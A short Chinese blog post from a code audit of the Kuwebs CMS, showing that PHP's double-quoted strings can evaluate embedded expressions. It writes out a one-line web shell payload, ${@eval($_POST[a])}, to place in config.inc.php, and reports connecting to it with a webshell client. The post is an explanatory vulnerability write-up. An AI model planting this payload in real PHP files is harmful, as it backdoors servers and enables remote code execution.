
正文
PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
在代码审计一书中提到Kuwebs的配置文件中可以利用PHP可变变量的特性执行代码
在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题
我们先下载Kuwebs的源代码
http://47.94.132.67/tools/index.php?share/file&user=1&sid=4hKdqxNF
下载了之后简单看一下配置文件,发现书中的代码在config.inc.php文件中

这里只是演示PHP会对引号内的内容进行解释,而不考虑实际情况中我们能否修改config.inc.php文件
我们将kuWebsiteURL修改为
$kuWebsiteURL = "${@eval($_POST[a])}";

如果PHP能够正确解释,即我们写入了一句话木马
使用菜刀成功连接,成功执行代码

证明双引号可能会引发代码执行漏洞
虽然单引号和双引号都可以表示一个字符串,但是作为程序员应当了解两者的一些特性
参考链接:
https://www.0x002.com/2018/PHP%E4%B8%AD%E5%8F%8C%E5%BC%95%E5%8F%B7%E5%BC%95%E8%B5%B7%E7%9A%84%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#%E6%AD%A3%E6%96%87






